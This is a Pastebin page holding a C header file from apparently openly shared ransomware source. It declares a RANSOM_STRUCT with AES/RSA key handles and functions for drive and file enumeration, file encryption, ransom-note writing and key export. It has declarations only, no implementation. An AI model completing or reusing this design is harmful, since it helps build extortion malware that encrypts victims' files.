Advertisement
FlyFar

main.h

Mar 24th, 2024
600
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.67 KB | Cybersecurity | 0 0
  1. #ifndef __MAIN_H__
  2. #define __MAIN_H__
  3.  
  4. #include "config.h"
  5.  
  6. typedef struct
  7. {
  8.     WCHAR *RootPathName;
  9.     CONST WCHAR *hRSAKeyStr;
  10.     BOOL   bUnknown;
  11.     HCRYPTPROV hProv;
  12.     HCRYPTKEY  hAESKey;
  13.     HCRYPTKEY  hRSAKey;
  14.     HANDLE hDriveHandle;
  15. } RANSOM_STRUCT;
  16.  
  17. DWORD WINAPI enum_drive(LPVOID lpParam);
  18. BOOL gen_aes_key(RANSOM_STRUCT *crypto_struct);
  19. VOID enum_files(WCHAR *zePath, int recursion_count, RANSOM_STRUCT *crypto_struct);
  20. VOID encrypt_file(WCHAR *zeFile, RANSOM_STRUCT *crypto_struct);
  21. VOID write_note(RANSOM_STRUCT *crypto_struct);
  22. BOOL import_rsa_key(RANSOM_STRUCT *crypto_struct);
  23. WCHAR *export_aes_key(RANSOM_STRUCT *crypto_struct);
  24. DWORD GetRandomNumber();
  25.  
  26. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement